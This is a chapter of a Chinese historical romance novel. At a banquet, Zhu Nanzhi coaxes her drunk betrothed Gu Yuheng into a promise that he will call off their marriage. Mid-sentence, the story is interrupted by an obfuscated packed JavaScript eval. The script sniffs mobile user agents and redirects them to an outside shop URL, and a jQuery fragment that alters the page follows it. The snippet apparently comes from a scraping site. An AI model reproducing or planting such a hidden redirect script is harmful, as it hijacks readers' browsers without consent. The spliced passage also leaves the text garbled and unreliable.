“娶了我?”祝南枝冷哼一声,“可他若真只是为了守活寡不娶公主也不必废力气救我,说到底顾予衡定是别有用心。”
“可不管怎么说,侯爷至少愿出手相救,你与他如此针锋相对做什么?我教你的你都忘了么?”兰媖道,“日后你入宫,身边多一个朋友总比多一个敌人可靠。”
兰媖劝得倒是苦口婆心,只是不知祝南枝这油盐不进的脑袋又听进去了多少。
“我知道。”祝南枝拂开兰媖的手,“可为了交这个朋友我非得以身相许么?一旦成婚,夫妻二人便是一荣俱荣一损俱损,如此我更要亲自把控,瞧他配不配得上我!难不成他救了我的命,我就不能有自己的打算了?这和我死了有何分别?”
祝南枝许是知道自己话说得有些重了,又看向兰媖宽慰道:“媖娘放心,总之我自有打算。”
看祝南枝如此决绝,兰媖也拿她没辙,毕竟祝南枝这性子是自己一手教出来的,兰媖看她,便宛若看年少时期的自己。
那般无畏倔强,不敛锋芒。
可无知者的无畏倔强无法照彻世间之理。
兰媖恍惚间失神了片刻,待回过神来又紧着道:“好,我就是个传话的。不过待会儿回府你也莫要与你爹娘拌嘴,他们看人的眼光总比你略高一筹,目前来看南阳侯的确没有做出什么出格的事,何况如今两家利益相关,他不敢拿你怎样,因此你也断不要委屈了自己。”
祝南枝深吸一口气,点头应是。
“好了时候不早了,你先进去吧。”
“嗯!”
依规矩,只有请贴上有名的客人才有资格入堂会宴,其余客人只得隔栏围宴,赏院中之景,美其名曰赏花宴。
兰媖目送祝南枝入了宴席,一路走至南阳侯身旁入座,才放心地寻座去了。
文辉殿内
祝南枝由侍女引路落座。
顾予衡端坐其旁,眸光沉静,只扶着酒盏豪饮,仿佛并未注意到身侧动静。
方才于廊下定下婚期的二人此刻并肩而坐,却连侧眼的功夫都懒得废,气氛愈发微妙了起来。
不过祝南枝对此浑不在意,搓了搓手看着眼前的美食,心思尽用在了琢磨该从哪道菜用起。可念及宴会的主角卫老将军还未入席,此时急着动筷未免失了礼数,只得按捺下腹中的馋虫,将目光转向盘中瓜果。
卫府的吃食果然精细,连柑橘都是特意剥好的,果瓣上不见一丝橘络,瞧着晶莹剔透,尝来想必也是甜丝丝的。
祝南枝随手捻起一瓣送入口中,带着微酸气息的甜汁顿时在舌尖漫溢,她一边咀嚼,一边不动声色地打量起四周。
卫府不愧门庭显赫,朝中几员以厌绝攀附权贵、鼓吹清高闻名的大臣此番也前来贺寿。
不过也能理解,卫老将军毕竟是开国功臣,就连圣上也得卖他几分薄面,特命了最宠爱的元昭公主前来贺寿。
元昭公主是圣上的嫡长女,自出生时便集万千宠爱于一身,如今芳龄二八,生得明艳娇俏,又正是情窦初开的年纪。
瞧公主流连在主座旁侧的眼神便知,公主此行恐怕并非祝寿这么简单。
祝南枝心中暗笑,想来这卫府的琢玉郎与金枝玉叶的公主倒也十分般配!
不过公主身旁的侍女也忒大意了,眼见公主神思不属,要将那整个的橘子囫囵当成果子啃了竟也不赶快阻止?
橘子皮可不似苹果皮薄,若真入口嚼了,只怕满嘴都要泛苦的!
见那丫鬟终于反应过来,上前替一脸苦闷的元昭公主剥了橘子,祝南枝心中才暗暗舒了一口气。
她瞧着手中的柑橘,忽然愣住,又扫了眼四周,发现空无一人,只有个不断灌酒的高大郎君,隐约发觉有些不对……
自入席来,顾予衡似乎只顾着杯中物,没过多久案几上便堆积了不少空盏。
卫老将军戎马半生,镇守边关数十载,早已惯饮那烧刀子般的烈酒暖身,纵有医嘱再三劝诫,也向来是置若罔闻。
故而今日宴客,桌面上摆的自然也是些辛辣的烈酒。
顾予衡此刻两颊已染上酡红,周身更是酒气熏天,那股子浓郁的酒香直逼面门,祝南枝在一旁看着都觉有些难以招架。
她念及此行目的,借着宽袖遮掩,不着痕迹地往他身侧挪了挪,探身去扯他的衣袖,好心提醒道:“老将军还没来,你莫要还未献祝寿词,便先醉倒在此了。”
顾予衡微微垂首,扯唇一笑,目光不知盯着地面的何处迷离,嗓音沉缓:
“他不会来了……”
这话说得伤情,不知道的还以为是谁家女郎误了这多情公子,才在宴席上借酒消愁。
才多大一会儿的功夫,怎么就醉成了这样?
“罢了。”祝南枝蹙眉,笃定他醉了,于是拍了拍顾予衡的手臂,指着殿外道,“走吧,我扶你出去醒醒酒。”
顾予衡这回倒是听劝,由着祝南枝扶他起身。
殿外春景正好,落入琼杯之中,映出满座宾客推杯换盏的欢颜。
祝南枝搀着顾予衡,贴着回廊阴影处悄然离去,尽量避开喧嚣的人潮。
她也藏了点心思——
不是说酒后吐真言么?
祝南枝念及顾予衡先前想瞒她的隐秘,眼下就是个绝佳良机!
“顾予衡,我问你啊,”祝南枝歪头看着醉醺醺的男郎,先试探性地问了一句,“方才的橘子,是你替我剥的么?”
只见顾予衡抿了抿嘴,鼻息显然重了几分,脑袋一沉,发出一声“嗯”。
祝南枝看着有趣,觉着这醉酒后的模样倒乖觉懂事,很是像她平日里喜欢逗弄的郎君。
她又问:“那你为何要替我剥橘子?我吃了橘子便会起疹你知不知道?”
后半句自然是哄他的。
顾予衡闻言忽然顿住脚步,反过来双手扶住她的肩,脚下差点没站稳还踉跄了几步,醉晃晃道:“不知道,我什么也不知道……”
说罢,便将头埋在了她的颈窝处。
祝南枝将头偏向一侧,轻笑一声,佯装慨叹道:“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125364|196041||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那可惜了,如今我可是把我的秘密告诉你了,作为交换,你需得告诉我一个你的秘密!”她放缓语速,引道,“譬如……你究竟为何要娶我?”
顾予衡滚烫的鼻息混着微醺酒气,尽数喷洒在她颈侧的肌肤上。他的身子晃了晃,沉重的头颅失了支撑,沉沉地倚靠下来,额角贴上她温热的肩颈。
“我……”他声音含混,像是从喉咙深处艰难地溢出,“我不知道……”
顾予衡双手忽然环上祝南枝的腰,将她拥进怀里,高大的身姿将青瓦下拢来的阳光全然罩住。
许是问得太直接,没想到这厮醉酒了还那么嘴硬。
见他不说话,祝南枝正欲再换个话头缓和一二,却觉腰间那双臂膀骤然收紧,耳边只闻他沉重且急促的呼吸声,像是在极力压抑胸腔中翻涌的情绪。
就在她以为他又要装聋作哑时,顾予衡却忽然直起身,通红的眸子盈着水雾,紧紧锁着祝南枝,喉间喘息带出的言辞近乎肃穆,状态反常得如她梦中那副半醉半醒的样子。
“南枝,于你而言,这门婚事算什么?”
这人醉了还能反客为主,看来这本事真是刻进骨子里了!
祝南枝隔着男子的肩头,望向那束从檐隙间漏下的天光,笃定道:“算坟墓。”
她没醉,因此说得话也句句不假。
顾予衡半垂着眼帘沉默良久,再开口时嗓音都有些暗哑:“若你当真如此想……一切都可作罢,随你心意……”
最后几字轻若游丝,仿佛浑身力气都被抽尽,透着一股自暴自弃的颓然。
可人的喜怒哀乐并不相通。
祝南枝闻言,毫不犹豫地扒下他的手,反扣住他的手腕,那一双眼眸亮得惊人:“此话当真?”
顾予衡低垂着头,许久才道:“当真。”
“好!一言为定!”
祝南枝兴冲冲地转过身,朝四处张望,急着找人做个见证,将这醉鬼的胡话钉死才好。
她看向四周,才发现二人不知不觉竟在往半山园的方向走,家丁和侍女都在前院,四周一个人也没有。
祝南枝无奈转回身,叹道:“唉罢了,我是晓得你醉了,等酒醒了定不会承认。”她斜睨了他一眼,目光落在身后的青石板上,安慰似的自言自语,“不过没事,我不会嫁你,死了也不会。”
“可我若是没你,就要死了。”
祝南枝闻声惊疑,看向出声之人:“顾予衡,你醉糊涂了?是你救的我。”她低下头内心挣扎须臾,继续道,“这样吧,我答应你,就算你我未成良缘,看在你救我的份上,若你遇上了麻烦,我也不会弃你不顾,行吗?”
她也是疯了,跟个醉鬼商量什么?
不料顾予衡竟一把握住她的手,应道:“好。”
四周静谧无声,就连蝴蝶扑棱翅膀撞入这偌大的院中都显得多余。
顾予衡口中的那声“好”震彻了女郎心扉,可他将她的手攥得极紧,指节都用力到发白,不知那声应允在这蛮横的力道里又算得上什么。